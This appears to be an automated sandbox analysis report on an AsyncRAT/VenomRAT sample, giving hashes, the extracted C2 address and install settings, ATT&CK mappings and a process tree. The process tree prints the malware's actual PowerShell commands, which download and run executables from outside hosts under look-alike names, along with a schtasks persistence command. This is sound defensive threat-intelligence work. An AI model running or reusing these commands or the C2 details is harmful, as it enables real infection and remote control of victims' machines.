asyncrat | a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e

General

Target

a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe
Size

75KB
MD5

2435ef2414fcf616da97999a95ec4bd8
SHA1

e2429b1a2b0aca9340a97d80d5ad7a311467f161
SHA256

a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e
SHA512

99a606205c9ee2a1b2095df27afb53a3a392eba43e525bd6abc1fedeffb3e64eca1608c478b1fbfd1d75f7a65a1ec201edac8c9be4845fbb7dec348613898c25
SSDEEP

1536:0ukULWEVCuPPMRkUKt2OlY6H1bf/i/f7kzkuLVclN:0XUyWHPMRkUv4jH1bfMf7k/BY

Score

10^/10

asyncrat default execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://xcu.exgaming.click

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://xcu5.exgaming.click

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

C2

94.156.66.48:4449

Mutex

Antivirus

Attributes

delay
1
install
true
install_file
Antivirus.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

VenomRAT 3 IoCs

Detects VenomRAT.

rat

Processes:

resource	yara_rule
behavioral1/memory/2500-1-0x0000000000DA0000-0x0000000000DB8000-memory.dmp	VenomRAT
C:\Users\Admin\AppData\Roaming\Antivirus.exe	VenomRAT
behavioral1/memory/2440-23-0x0000000000E00000-0x0000000000E18000-memory.dmp	VenomRAT

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\Antivirus.exe	family_asyncrat

Executes dropped EXE 1 IoCs

Processes:

Antivirus.exe

pid process

2440 Antivirus.exe

pid	process
2440	Antivirus.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
1140	powershell.exe
2448	powershell.exe
1472	powershell.exe
2256	powershell.exe
2272	powershell.exe
2340	powershell.exe
2728	powershell.exe
2596	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2680 timeout.exe
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exe

pid process

2808 schtasks.exe

pid	process
2680	timeout.exe

pid	process
2808	schtasks.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

Processes:

powershell.exea774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exepowershell.exepowershell.exepowershell.exepowershell.exeAntivirus.exepowershell.exepowershell.exepowershell.exe

pid	process
2340	powershell.exe
2500	a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe
2500	a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe
2500	a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe
2728	powershell.exe
2596	powershell.exe
2272	powershell.exe
1140	powershell.exe
2440	Antivirus.exe
2440	Antivirus.exe
2448	powershell.exe
1472	powershell.exe
2256	powershell.exe
2440	Antivirus.exe
2440	Antivirus.exe
2440	Antivirus.exe
2440	Antivirus.exe
2440	Antivirus.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

Processes:

a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exepowershell.exeAntivirus.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2500	a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeDebugPrivilege	2440	Antivirus.exe
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeDebugPrivilege	2596	powershell.exe
Token: SeDebugPrivilege	2272	powershell.exe
Token: SeDebugPrivilege	1140	powershell.exe
Token: SeDebugPrivilege	2448	powershell.exe
Token: SeDebugPrivilege	1472	powershell.exe
Token: SeDebugPrivilege	2256	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Antivirus.exe

pid process

2440 Antivirus.exe

pid	process
2440	Antivirus.exe

Suspicious use of WriteProcessMemory 45 IoCs

Processes:

a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.execmd.execmd.execmd.exeAntivirus.execmd.exe

description	pid	process	target process
PID 2500 wrote to memory of 2496	2500	a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe	cmd.exe
PID 2500 wrote to memory of 2496	2500	a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe	cmd.exe
PID 2500 wrote to memory of 2496	2500	a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe	cmd.exe
PID 2496 wrote to memory of 2340	2496	cmd.exe	powershell.exe
PID 2496 wrote to memory of 2340	2496	cmd.exe	powershell.exe
PID 2496 wrote to memory of 2340	2496	cmd.exe	powershell.exe
PID 2500 wrote to memory of 2236	2500	a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe	cmd.exe
PID 2500 wrote to memory of 2236	2500	a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe	cmd.exe
PID 2500 wrote to memory of 2236	2500	a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe	cmd.exe
PID 2500 wrote to memory of 2696	2500	a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe	cmd.exe
PID 2500 wrote to memory of 2696	2500	a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe	cmd.exe
PID 2500 wrote to memory of 2696	2500	a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe	cmd.exe
PID 2236 wrote to memory of 2808	2236	cmd.exe	schtasks.exe
PID 2236 wrote to memory of 2808	2236	cmd.exe	schtasks.exe
PID 2236 wrote to memory of 2808	2236	cmd.exe	schtasks.exe
PID 2696 wrote to memory of 2680	2696	cmd.exe	timeout.exe
PID 2696 wrote to memory of 2680	2696	cmd.exe	timeout.exe
PID 2696 wrote to memory of 2680	2696	cmd.exe	timeout.exe
PID 2696 wrote to memory of 2440	2696	cmd.exe	Antivirus.exe
PID 2696 wrote to memory of 2440	2696	cmd.exe	Antivirus.exe
PID 2696 wrote to memory of 2440	2696	cmd.exe	Antivirus.exe
PID 2440 wrote to memory of 2888	2440	Antivirus.exe	cmd.exe
PID 2440 wrote to memory of 2888	2440	Antivirus.exe	cmd.exe
PID 2440 wrote to memory of 2888	2440	Antivirus.exe	cmd.exe
PID 2888 wrote to memory of 2728	2888	cmd.exe	powershell.exe
PID 2888 wrote to memory of 2728	2888	cmd.exe	powershell.exe
PID 2888 wrote to memory of 2728	2888	cmd.exe	powershell.exe
PID 2888 wrote to memory of 2596	2888	cmd.exe	powershell.exe
PID 2888 wrote to memory of 2596	2888	cmd.exe	powershell.exe
PID 2888 wrote to memory of 2596	2888	cmd.exe	powershell.exe
PID 2496 wrote to memory of 2272	2496	cmd.exe	powershell.exe
PID 2496 wrote to memory of 2272	2496	cmd.exe	powershell.exe
PID 2496 wrote to memory of 2272	2496	cmd.exe	powershell.exe
PID 2496 wrote to memory of 1140	2496	cmd.exe	powershell.exe
PID 2496 wrote to memory of 1140	2496	cmd.exe	powershell.exe
PID 2496 wrote to memory of 1140	2496	cmd.exe	powershell.exe
PID 2496 wrote to memory of 2448	2496	cmd.exe	powershell.exe
PID 2496 wrote to memory of 2448	2496	cmd.exe	powershell.exe
PID 2496 wrote to memory of 2448	2496	cmd.exe	powershell.exe
PID 2888 wrote to memory of 1472	2888	cmd.exe	powershell.exe
PID 2888 wrote to memory of 1472	2888	cmd.exe	powershell.exe
PID 2888 wrote to memory of 1472	2888	cmd.exe	powershell.exe
PID 2888 wrote to memory of 2256	2888	cmd.exe	powershell.exe
PID 2888 wrote to memory of 2256	2888	cmd.exe	powershell.exe
PID 2888 wrote to memory of 2256	2888	cmd.exe	powershell.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe
"C:\Users\Admin\AppData\Local\Temp\a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2496
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2340
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2272
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1140
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Antivirus" /tr '"C:\Users\Admin\AppData\Roaming\Antivirus.exe"' & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2236
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "Antivirus" /tr '"C:\Users\Admin\AppData\Roaming\Antivirus.exe"'
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2808
- C:\Windows\system32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpE688.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:2680
- - C:\Users\Admin\AppData\Roaming\Antivirus.exe
    "C:\Users\Admin\AppData\Roaming\Antivirus.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2440
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2888
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2728
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2596
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1472
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2256

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\tmpE688.tmp.bat

Filesize
153B

MD5
3714ca539c0a745b1d4ef00a3393228a

SHA1
d9d170f48f603577c49a2468a83cece38be4c08a

SHA256
45d3a56f1913e2e962f1e2cece55e3e459f2bb1a592bf87c2c93d606764a15a0

SHA512
8a08c02229fb616dac57f271e32ec38abe5bb366dcf7b9f3bd1fb051fd9d76c6d373fb1e82fd3291c5fe09d8d9f7b21a73a8dfaf5b573fbe5b36edeb50ef04f8

Download Submit
C:\Users\Admin\AppData\Roaming\Antivirus.exe

Filesize
75KB

MD5
2435ef2414fcf616da97999a95ec4bd8

SHA1
e2429b1a2b0aca9340a97d80d5ad7a311467f161

SHA256
a774be49a50d0289a4d51679c1b75f736e8128c65451fcde9dc44812b9bf594e

SHA512
99a606205c9ee2a1b2095df27afb53a3a392eba43e525bd6abc1fedeffb3e64eca1608c478b1fbfd1d75f7a65a1ec201edac8c9be4845fbb7dec348613898c25

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
1c329137a9096d94903f4958a7e4622a

SHA1
70a094dfcdfaeba7de79eca7bc24ece1b7fd5ecd

SHA256
03fe5b8489a0c3797a498e7646fcdba95e6c955faa1c372af5c8e7939ae979a8

SHA512
1f94620b4dbc90cbd4396f4054a827bf22286ff32fe8252ad015db3d55973e887ea8ae7446f1eddb20c1fc661f10a8b5e0fa75ad2253c11387ac24176cb1f79b

Download Submit
C:\Users\Admin\AppData\Roaming\MyData\DataLogs.conf

Filesize
8B

MD5
cf759e4c5f14fe3eec41b87ed756cea8

SHA1
c27c796bb3c2fac929359563676f4ba1ffada1f5

SHA256
c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761

SHA512
c7f832aee13a5eb36d145f35d4464374a9e12fa2017f3c2257442d67483b35a55eccae7f7729243350125b37033e075efbc2303839fd86b81b9b4dca3626953b

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/1472-58-0x0000000001D10000-0x0000000001D18000-memory.dmp

Filesize
32KB

Download
memory/1472-57-0x000000001B820000-0x000000001BB02000-memory.dmp

Filesize
2.9MB

Download
memory/2340-8-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2340-9-0x0000000002870000-0x0000000002878000-memory.dmp

Filesize
32KB

Download
memory/2440-23-0x0000000000E00000-0x0000000000E18000-memory.dmp

Filesize
96KB

Download
memory/2500-7-0x000007FEF60F0000-0x000007FEF6ADC000-memory.dmp

Filesize
9.9MB

Download
memory/2500-19-0x000007FEF60F0000-0x000007FEF6ADC000-memory.dmp

Filesize
9.9MB

Download
memory/2500-0-0x000007FEF60F3000-0x000007FEF60F4000-memory.dmp

Filesize
4KB

Download
memory/2500-1-0x0000000000DA0000-0x0000000000DB8000-memory.dmp

Filesize
96KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads